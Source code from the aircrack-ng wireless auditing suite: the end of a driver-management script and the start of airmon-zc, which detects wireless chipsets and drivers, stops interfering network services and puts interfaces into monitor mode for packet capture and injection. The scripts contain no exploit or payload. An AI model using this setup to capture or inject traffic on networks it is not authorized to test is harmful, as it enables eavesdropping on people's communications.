return $YES } checkusb() { if [ x"$LSUSB" != x ] then usbnum=`$LSUSB | wc -l` j=1 if [ x"`$LSUSB -vvv | grep -i "$1"`" != x ] then while [ $j -le $usbnum ] do bus=`$LSUSB | head -n $j | tail -n 1 | awk '{print $2}' | sed 's/^0*//'` dev=`$LSUSB | head -n $j | tail -n 1 | awk '{print $4}' | sed 's/^0*//' | sed 's/:$//'` if [ x"$bus" == x ] then bus=0 fi if [ x"$dev" == x ] then dev=0 fi if [ x"`$LSUSB -s "$bus:$dev" -v | grep -i "$1"`" != x ] then echo `$LSUSB -s "$bus:$dev"` fi j=$(($j+1)) done fi fi } checkpci() { if [ x"$LSPCI" != x ] then pcinum=`$LSPCI | wc -l` j=1 if [ x"`$LSPCI | grep -i "$1"`" != x ] then while [ $j -le $pcinum ] do if [ x"`$LSPCI | head -n $j | tail -n 1 | grep -i "$1"`" != x ] then echo `$LSPCI | head -n $j | tail -n 1` fi j=$(($j+1)) done fi fi } checkpcmcia() { if [ x"$LSPCMCIA" != x -a x"$CARDCTL" != x ] then pcmcianum=10 j=0 if [ x"`$LSPCMCIA -v | grep -i "$1"`" != x ] then while [ $j -le $pcmcianum ] do manfid=`$CARDCTL ident $j | grep "manfid" | sed 's/^.*: //'` if [ x"$manfid" == x ] then manfid="0x0000, 0x0000" fi if [ x"`$CARDCTL ident $j | grep -i "$1"`" != x ] then echo "ID:"$manfid "`$CARDCTL ident $j | head -n 1 | sed 's/^.*: //'`" fi j=$(($j+1)) done fi fi } detectAdapters() { echo #usb if [ x"$LSUSB" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_USB[$i]}" != x ] then if [ x"`$LSUSB -vvv | grep "${DETECT_USB[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkusb "${DETECT_USB[$i]}" echo fi fi i=$(($i+1)) done fi #pci if [ x"$LSPCI" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_PCI[$i]}" != x ] then if [ x"`$LSPCI | grep "${DETECT_PCI[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkpci "${DETECT_PCI[$i]}" echo fi fi i=$(($i+1)) done fi #pcmcia if [ x"$LSPCMCIA" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_CS[$i]}" != x ] then if [ x"`$LSPCMCIA -vvv | grep "${DETECT_CS[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkpcmcia "${DETECT_CS[$i]}" echo fi fi i=$(($i+1)) done fi #generic GENERIC="wireless\|80211\|80211\.11\|wifi\|wlan" #usb if [ x"$LSUSB" != x ] then if [ x"`$LSUSB -vvv | grep -i "$GENERIC"`" != x ] then echo && echo "USB devices (generic detection):" checkusb "$GENERIC" fi fi #pci if [ x"$LSPCI" != x ] then if [ x"`$LSPCI | grep -i "$GENERIC"`" != x ] then echo && echo "PCI devices (generic detection):" checkpci "$GENERIC" fi fi #pcmcia if [ x"$LSPCMCIA" != x -a x"$CARDCTL" != x ] then if [ x"`$LSPCMCIA -v | grep -i "$GENERIC"`" != x ] then echo && echo "PCMCIA devices (generic detection):" checkpcmcia "$GENERIC" fi fi echo return $YES } name2num() { if [ x"$1" == x ] then return $ERROR fi i=0 while [ $i -lt "$DCOUNT" ] do for j in ${DMODULES[$i]} do if [ x"`echo "$1 " | grep -i "$j "`" != x ] then return $i fi done i=$(($i+1)) done return $ERROR } name2num_stack() { if [ x"$1" == x ] then return $ERROR fi i=0 while [ $i -lt "$SCOUNT" ] do for j in ${SMODULES[$i]} do if [ x"`echo "$1 " | grep -i "$j "`" != x ] then return $i fi done i=$(($i+1)) done return $ERROR } usage() { printf "Found kernel: $VANILLA\n" printf "usage: `basename $0` [drivernumber]\n" printf "\tvalid commands:\n" printf "\t\tsupported\t\t- lists all supported drivers\n" printf "\t\tkernel\t\t\t- lists all in-kernel drivers\n" printf "\t\tinstalled\t\t- lists all installed drivers\n" printf "\t\tloaded\t\t\t- lists all loaded drivers\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tinsert \t- inserts a driver\n" printf "\t\tload \t- loads a driver\n" printf "\t\tunload \t- unloads a driver\n" printf "\t\treload \t- reloads a driver\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tcompile \t- compiles a driver\n" printf "\t\tinstall \t- installs a driver\n" printf "\t\tremove \t- removes a driver\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tcompile_stack \t- compiles a stack \n" printf "\t\tinstall_stack \t- installs a stack \n" printf "\t\tremove_stack \t- removes a stack \n" printf "\t\t-----------------------------------------------------\n" printf "\t\tinstall_firmware \t- installs the firmware \n" printf "\t\tremove_firmware \t- removes the firmware \n" printf "\t\t-----------------------------------------------------\n" printf "\t\tdetails \t- prints driver details\n" printf "\t\tdetect\t\t\t- detects wireless cards\n" echo exit } #checking main argument(s) if [ x"$1" == x ] then usage fi if [ x"$1" == "xsupported" ] then listSupportedStacks echo "" listSupportedDrivers exit fi if [ x"$1" == "xinstalled" ] then listInstalledStacks echo "" listInstalledDrivers echo "" listInstalledFirmware exit fi if [ x"$1" == "xloaded" ] then listLoadedStacks echo "" listLoadedDrivers exit fi if [ x"$1" == "xkernel" ] then listKernelStacks echo "" listKernelDrivers exit fi if [ x"$1" == "xdetect" ] then detectAdapters exit fi if [ x"$1" == "xremove" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for removing." removeDriver $num if [ $? -eq $YES ] then echo "Removed driver \"${DNAME[$num]}\" successfully" else echo "Failed to remove the driver." fi exit fi if [ x"$1" == "xremove_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for removing." removeStack $num if [ $? -eq $YES ] then echo "Removed stack \"${SNAME[$num]}\" successfully" else echo "Failed to remove the stack." fi exit fi if [ x"$1" == "xremove_firmware" ] then if [ x$2 == "x" ] then echo "$NO_FIRMWARE_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Firmware \"${DNAME[$num]}\" specified for removing." removeFirmware $num if [ $? -eq $YES ] then echo "Removed firmware \"${DNAME[$num]}\" successfully" else echo "Failed to remove the firmware." fi exit fi if [ x"$1" == "xinstall" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for installation." NO_INSTALL=$NO NO_FIRMWARE=$NO installDriver $num ret=$? if [ $ret -eq $YES ] then echo "Installed driver \"${DNAME[$num]}\" successfully" else echo "Failed to install the driver." echo "Look through \"$LOGFILE\" for errors." fi if [ $ret == $YES ] then unloadDriver $num >/dev/null 2>/dev/null loadDriver $num if [ $? -eq $YES ] then echo "Loaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to load the driver." fi fi exit fi if [ x"$1" == "xcompile" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for compilation." NO_INSTALL=$YES NO_FIRMWARE=$NO installDriver $num ret=$? if [ $ret -eq $YES ] then echo "Compiled driver \"${DNAME[$num]}\" successfully" else echo "Failed to compile the driver." echo "Look through \"$LOGFILE\" for errors." fi if [ $ret == $YES ] then unloadDriver $num >/dev/null 2>/dev/null insertDriver $num if [ $? -eq $YES ] then echo "Inserted driver \"${DNAME[$num]}\" successfully" else echo "Failed to insert the driver." fi fi exit fi if [ x"$1" == "xinstall_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for installation." NO_INSTALL=$NO NO_FIRMWARE=$YES installStack $num ret=$? if [ $ret -eq $YES ] then echo "Installed stack \"${SNAME[$num]}\" successfully" echo "You need to reload the complete stack, or just reboot." else echo "Failed to install the stack." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xinstall_firmware" ] then if [ x$2 == "x" ] then echo "$NO_FIRMWARE_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Firmware \"${DNAME[$num]}\" specified for installation." installFirmware $num if [ $? -eq $YES ] then echo "Installed firmware \"${DNAME[$num]}\" successfully" else echo "Failed to install the firmware." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xcompile_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for compilation." NO_INSTALL=$YES NO_FIRMWARE=$YES installStack $num ret=$? if [ $ret -eq $YES ] then echo "Compiled stack \"${SNAME[$num]}\" successfully" echo "You need to insert the Stack manually" else echo "Failed to compile the stack." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for loading." loadDriver $num if [ $? -eq $YES ] then echo "Loaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to load the driver." fi exit fi if [ x"$1" == "xinsert" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for inserting." insertDriver $num if [ $? -eq $YES ] then echo "Inserted driver \"${DNAME[$num]}\" successfully" else echo "Failed to insert the driver." fi exit fi if [ x"$1" == "xunload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for unloading." unloadDriver $num if [ $? -eq $YES ] then echo "Unloaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to unload the driver." fi exit fi if [ x"$1" == "xreload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for reloading." unloadDriver $num if [ $? -ne $YES ] then echo "Failed to unload the driver." exit fi isLoaded $num "D" if [ $? -eq $YES ] then echo "Failed to unload the driver." exit fi loadDriver $num if [ $? -ne $YES ] then echo "Failed to reload the driver." exit else echo "Reloaded driver \"${DNAME[$num]}\" successfully" fi exit fi if [ x"$1" == "xdetails" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver details for: \"${DNAME[$num]}\"" echo printf "Compiled into kernel:\t" isInKernel $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Installed:\t\t" isInstalled $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Loaded:\t\t\t" isLoaded $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Firmware installed:\t" isInstalledFirmware $num ret=$? if [ $ret -eq $YES ] then echo "YES" else if [ $ret -eq $NO ] then echo "No" else echo "N/A" fi fi echo echo "Modules:" echo echo "Modules:" for i in ${DMODULES[$num]} do i="`echo "$i" | sed 's/-/_/'`" echo -n "$i " done echo echo echo "Files:" for i in ${DMODULES[$num]} do mfile="`$MODPROBE -l | grep \/$i\.ko`" if [ x"$mfile" != x ] then mtime="`ls -l $mfile | awk '{print $6" "$7}'`" echo $mfile $mtime fi done echo modinfo ${DMODULE[$num]} 2>/dev/null | grep "^ver\|^depends" echo if [ x${DSITE[$num]} != x ] then echo "For more information see:" echo ${DSITE[$num]} fi exit fi usage aircrack-ng-1.2-beta3/scripts/airmon-zc0000644000000000000000000006637412252510524016556 0ustar rootroot#!/bin/sh DEBUG="0" VERBOSE="0" ELITE="0" USERID="" IFACE="" MADWIFI=0 MAC80211=0 IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-3.11.tar.bz2" IW_ERROR="" UDEV_ISSUE=0 SYSFS=0 if [ -d /sys/ ] then SYSFS=1 fi if [ "${1}" = "--elite" ] then shift ELITE="1" fi if [ "${1}" = "--verbose" ] then shift VERBOSE="1" fi if [ "${1}" = "--debug" ] then shift DEBUG="1" VERBOSE="1" fi #yes, I know this is in here twice if [ "${1}" = "--elite" ] then shift ELITE="1" fi CH=${3}; [ x${3} = "x" ] && CH=10 #TODO LIST #cleanup getDriver() #add band detection #fix to not assume wifi drivers are modules #allow users to start the interface multiple times to change the channel #rewrite scanprocesses and checkprocessesiface to be sane if [ x"$(command -v id 2> /dev/null)" != "x" ] then USERID="$(id -u 2> /dev/null)" fi if [ x${USERID} = "x" -a x${UID} != "x" ] then USERID=${UID} fi if [ x${USERID} != "x" -a x${USERID} != "x0" ] then printf "Run it as root\n" ; exit 1; fi #check for all needed binaries if [ ! -x "$(command -v uname 2>&1)" ] then printf "How in the world do you not have uname installed?\n" printf "Please select a linux distro which has at least basic functionality (or install uname).\n" exit 1 else echo #write something in here to test uname for Darwin/Linux and set a variable fi if [ ! -x "$(command -v iw 2>&1)" ] then printf "You don't have iw installed, please install it from your distro's package manager.\n" printf "If your distro doesn't have a recent version you can download it from this link:\n" printf "${IW_SOURCE}\n" exit 1 fi if [ ! -x "$(command -v ethtool 2>&1)" ] then printf "Please install the ethtool package for your distro.\n" exit 1 fi if [ ! -x "$(command -v lsusb 2>&1)" ] then printf "Please install lsusb from your distro's package manager.\n" exit 1 fi if [ ! -x "$(command -v lspci 2>&1)" ] then printf "Please install lspci from your distro's package manager.\n" exit 1 fi if [ ! -x "$(command -v modprobe 2>&1)" ] then printf "How in the world do you not have modprobe installed?\n" printf "Please select a linux distro which has at least basic functionality (or install modprobe).\n" exit 1 fi if [ ! -x "$(command -v modinfo 2>&1)" ] then printf "How in the world do you not have modinfo installed?\n" printf "Please select a linux distro which has at least basic functionality (or install modinfo).\n" exit 1 fi if [ ! -x "$(command -v awk 2>&1)" ] then printf "How in the world do you not have awk installed?\n" printf "Please select a linux distro which has at least basic functionality (or install awk).\n" exit 1 fi if [ ! -x "$(command -v grep 2>&1)" ] then printf "How in the world do you not have grep installed?\n" printf "Please select a linux distro which has at least basic functionality (or install grep).\n" exit 1 fi #done checking for binaries PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" PS_ERROR="invalid" usage() { printf "usage: $(basename $0) [channel or frequency]\n\n" exit } startDeprecatedIface() { iwconfig $1 mode monitor > /dev/null 2>&1 if [ ! -z $2 ] then if [ $2 -lt 1000 ] then iwconfig $1 channel $2 > /dev/null 2>&1 else iwconfig $1 freq "$2"000000 > /dev/null 2>&1 fi else iwconfig $1 channel ${CH} > /dev/null 2>&1 fi iwconfig $1 key off > /dev/null 2>&1 ifconfig $1 up printf " (monitor mode enabled)" } startMac80211Iface() { #check if $1 already has a mon interface on the same phy and bail if it does if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ] then for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/) do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "803" ] then printf "\n\t\t(mac80211 monitor mode already enabled for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n" exit fi done fi #we didn't bail means we need a monitor interface if [ -e /sys/class/net/${1}mon ] then printf "\nYou already have a ${1}mon device but it is NOT in monitor mode." printf "\nWhatever you did, don't do it again." printf "\nPlease run \"iw ${1}mon del\" before attempting to continue\n" exit 1 fi #we didn't bail means our target interface is available ifconfig ${1} down IW_ERROR=$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1 | grep "nl80211 not found") if [ x${IW_ERROR} = "x" ] then sleep 1s ifconfig ${1}mon up if [ ! -z ${3} ] then if [ ${3} -lt 1000 ] then iw dev ${1}mon set channel ${3} else iw dev ${1}mon set freq "${3}" fi else iw dev ${1}mon set channel ${CH} fi printf "\n\t\t(mac80211 monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]${1}mon)\n" else printf "\n\nERROR: something went wrong with iw." fi if [ ${ELITE} = "1" ] then #check if $1 is still down, warn if not if $(ifconfig ${1} | grep -q UP) then printf "\nInterface ${1} is up, but it should be down. Something is interferring." printf "\nPlease run \"airmon-zc check kill\" and/or kill your network manager." fi else iw ${1} del printf "\t\t(mac80211 station mode vif disabled for [${PHYDEV}]${1})\n" fi } startDarwinIface() { if [ -x /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport ] then /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport $1 sniff fi } stopDeprecatedIface() { ifconfig $1 down > /dev/null 2>&1 iwconfig $1 mode Managed > /dev/null 2>&1 ifconfig $1 down > /dev/null 2>&1 printf " (monitor mode disabled)" } stopMac80211Iface() { if [ -f /sys/class/net/${1}/type ] then if [ "$(cat /sys/class/net/${1}/type)" != "803" ] then printf "\n\nYou are trying to stop a device that isn't in monitor mode.\n" printf "Doing so is a terrible idea, if you really want to do it then you\n" printf "need to type 'iw ${1} del' yourself since it is a terrible idea.\n" printf "Most likely you want to remove an interface called wlan[0-9]mon\n" printf "If you feel you have reached this warning in error,\n" printf "please report it." exit 1 else if [ "${ELITE}" = "0" ] then #check if $1 already has a sta interface on the same phy and bail if it does if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ] then for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/) do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ] then printf "\n\t\t(mac80211 station mode vif already available for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n" exit fi done fi if [ -e /sys/class/net/${1%mon} ] then printf "\nYou already have a ${1%mon} device but it is NOT in station mode." printf "\nWhatever you did, don't do it again." printf "\nPlease run \"iw ${1%mon} del\" before attempting to continue\n" exit 1 fi IW_ERROR=$(iw phy ${PHYDEV} interface add ${1%mon} type station 2>&1) if [ x${IW_ERROR} = "x" ] then printf "\n\t\t(mac80211 station mode vif enabled on [${PHYDEV}]${1%mon})" unset IW_ERROR else printf "\n\n ERROR: iw command error" fi fi IW_ERROR=$(iw dev "${1}" del 2>&1 | grep "nl80211 not found") if [ x$IW_ERROR = "x" ] then printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})" else if [ -f /sys/class/ieee80211/"${PHYDEV}"/remove_iface ] then printf "${1}" > /sys/class/ieee80211/"${PHYDEV}"/remove_iface printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})" else printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" fi fi fi fi } getDriver() { #standard detection path, this is all that is needed for proper drivers #DRIVER=$(printf "$ethtool_output" | awk '/driver/ {print $2}') #if $(modinfo -n ${DRIVER} > /dev/null 2>&1) #then # true #else # unset DRIVER #fi #if [ "$DRIVER" = "" ] #then if [ -f /sys/class/net/$1/device/uevent ] then DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/uevent)" else #DRIVER we put SOMETHING in DRIVER here if we are unable to find anything real DRIVER="??????" fi #fi #here we test for driver usb, ath9k_htc,rt2870, possibly others show this if [ "$DRIVER" = "usb" ] then echo "Warn ON: USB" BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0" if [ "$BUSADDR" != "" ] then if [ -f /sys/class/net/$1/device/$BUSADDR/uevent ] then DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/$BUSADDR/uevent)" fi fi #here we can normalize driver names we don't like if [ "$DRIVER" = "rt2870" ] then DRIVER="rt2870sta" fi if [ -f /sys/class/net/$1/device/idProduct ] then if [ $(cat /sys/class/net/$1/device/idProduct) = "3070" ] then DRIVER="rt3070sta" fi fi fi if [ "$DRIVER" = "rtl8187L" ] then DRIVER="r8187l" fi if [ "$DRIVER" = "rtl8187" ] && [ "$STACK" = "ieee80211" ] then DRIVER="r8187" fi #Here we will catch the broken lying drivers not caught above #currently this only functions for pci devices and not usb since lsusb has no -k option if $(modinfo -n $DRIVER > /dev/null 2>&1) then true else if [ "${DEVICEID}" != "" ] && [ "$BUS" = "pci" ] then DRIVER="$(lspci -d $DEVICEID -k | awk '/modules/ {print $3}')" fi if [ "$DRIVER" = "" ] then DRIVER="??????" fi fi if [ "$DEBUG" = "1" ] then printf "getdriver() $DRIVER\n" fi } getFrom() { #from detection if [ $(modinfo -n $DRIVER 2>&1 | grep 'kernel/drivers') ] then FROM="K" #we add special handling here because we hate the vendor drivers AND they install in the wrong place if [ "$DRIVER" = "r8187" ] then FROM="V" elif [ "$DRIVER" = "r8187l" ] then FROM="V" elif [ "$DRIVER" = "rt5390sta" ] then FROM="V" fi elif [ $(modinfo -n $DRIVER 2>&1 | grep 'updates/drivers') ] then FROM="C" elif [ $(modinfo -n $DRIVER 2>&1 | grep misc) ] then FROM="M" #add a yell at the user in here else FROM="?" fi #check for staging drivers seperately if [ $(modinfo -n $DRIVER 2>&1 | grep staging) ] then FROM="S" fi if [ "$DEBUG" = "1" ] then printf "getFrom() $FROM\n" fi } getFirmware() { FIRMWARE=$(printf "$ethtool_output" | awk '/firmware-version/ {print $2}') #ath9k_htc firmware is a shorter version number than most so trap and make it pretty if [ "$DRIVER" = "ath9k_htc" ] then FIRMWARE="$FIRMWARE\t" fi if [ "$FIRMWARE" = "N/A" ] then FIRMWARE="$FIRMWARE\t" elif [ -z "$FIRMWARE" ] then FIRMWARE="unavailable" fi if [ "$DEBUG" = "1" ] then printf "getFirmware $FIRMWARE\n" fi } getChipset() { #this needs cleanup, we shouldn't have multiple lines assigning chipset per bus #fix this to be one line per bus if [ -f /sys/class/net/$1/device/modalias ] then BUS=$(cat /sys/class/net/$1/device/modalias | cut -d ":" -f 1) if [ "$BUS" = "usb" ] then BUSINFO=$(cat /sys/class/net/$1/device/modalias | cut -d ":" -f 2 | cut -b 1-10 | sed 's/^.//;s/p/:/') CHIPSET=$(lsusb | grep -i "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //') #yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here elif [ "${BUS}" = "pci" ] || [ "${BUS}" = "ssb" ] || [ "${BUS}"= "bcma" ] || [ "${BUS}" = "pcmcia" ] then if [ -f /sys/class/net/$1/device/vendor -a -f /sys/class/net/$1/device/device ] then DEVICEID=$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device) CHIPSET=$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //') else BUSINFO=$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //') CHIPSET=$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //') DEVICEID=$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o) fi elif [ "$BUS" = "sdio" ] then if [ -f /sys/class/net/$1/device/vendor -a -f /sys/class/net/$1/device/device ] then DEVICEID=$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device) fi CHIPSET="unable to detect for sdio $DEVICEID" else CHIPSET="Not pci or usb" fi #we don't do a check for usb here but it is obviously only going to work for usb elif [ -f /sys/class/net/$1/device/idVendor -a -f /sys/class/net/$1/device/idProduct ] then DEVICEID=$(cat /sys/class/net/$1/device/idVendor):$(cat /sys/class/net/$1/device/idProduct) CHIPSET=$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //') elif [ "${DRIVER}" = "mac80211_hwsim" ] then CHIPSET="Software simulator of 802.11 radio(s) for mac80211" else CHIPSET="non-mac80211 device? (report this!)" fi if [ "$DEBUG" = "1" ] then printf "getchipset() $CHIPSET\n" printf "BUS = $BUS\n" printf "BUSINFO = $BUSINFO\n" printf "DEVICEID = $DEVICEID\n" fi } getStack() { if [ x"$1" = "x" ] then return fi if [ -d /sys/class/net/$1/phy80211/ ] then MAC80211=1 STACK="mac80211" else MAC80211=0 STACK="ieee80211" fi if [ -e /proc/sys/dev/$1/fftxqmin ] then MAC80211=0 STACK="net80211" fi if [ "$DEBUG" = "1" ] then printf "getStack $STACK\n" fi } getExtendedInfo() { if [ "$DRIVER" = "??????" ] then EXTENDED="\t Failure detecting driver properly please report" fi #first we set all the real (useful) info we can find if [ -f /sys/class/net/$1/device/product ] then EXTENDED="\t$(cat /sys/class/net/$1/device/product)" fi #then we sweep for known broken drivers with no available better drivers if [ "$DRIVER" = "brcmsmac" ] then EXTENDED="Driver commonly referred to as brcm80211 (no injection yet)" fi if [ "$DRIVER" = "r8712u" ] then EXTENDED="\t\t\t\tNo monitor or injection support\n" fi #lastly we detect all the broken drivers which have working alturnatives KV=$(uname -r | awk -F'-' '{print $1}') KVMAJOR=$(printf ${KV} | awk -F'.' '{print $1$2}') KVMINOR=$(printf ${KV} | awk -F'.' '{print $3}') if [ $KVMAJOR -lt 26 ] then printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now." if [ "$DEBUG" = "1" ] then printf ${KVMAJOR} ${KVMINOR} fi exit 1 fi if [ "$DRIVER" = "rt2870sta" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ] then EXTENDED="\tBlacklist rt2870sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable" fi #add in a flag for "did you tell use to do X" and emit instructions elif [ "$DRIVER" = "rt3070sta" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ] then EXTENDED="\tBlacklist rt3070sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable" fi elif [ "$DRIVER" = "rt5390sta" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "39" ] then EXTENDED="\tBlacklist rt5390sta and use rt2800usb" else EXTENDED="\tUpgrade to kernel 2.6.39 or install compat-wireless stable" fi elif [ "$DRIVER" = "ar9170usb" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ] then EXTENDED="\tBlacklist ar9170usb and use carl9170" else EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable" fi elif [ "$DRIVER" = "arusb_lnx" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ] then EXTENDED="\tBlacklist arusb_lnx and use carl9170" else EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable" fi elif [ "$DRIVER" = "r8187" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ] then EXTENDED="\t\tBlacklist r8187 and use rtl8187 from the kernel" else EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable" fi elif [ "$DRIVER" = "r8187l" ] then if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ] then EXTENDED="\t\tBlacklist r8187l and use rtl8187 from the kernel" else EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable" fi fi EXTENDED="We Todd Ed" } scanProcesses() { if [ -f "$(command -v service 2>&1)" ] && [ x"$1" = "xkill" ] then service network-manager stop 2> /dev/null > /dev/null service avahi-daemon stop 2> /dev/null > /dev/null fi match=$(ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l) if [ $match -gt 0 -a x"$1" != "xkill" ] then printf "\nFound $match processes that could cause trouble.\n" printf "If airodump-ng, aireplay-ng or airtun-ng stops working after\n" printf "a short period of time, you may want to kill (some of) 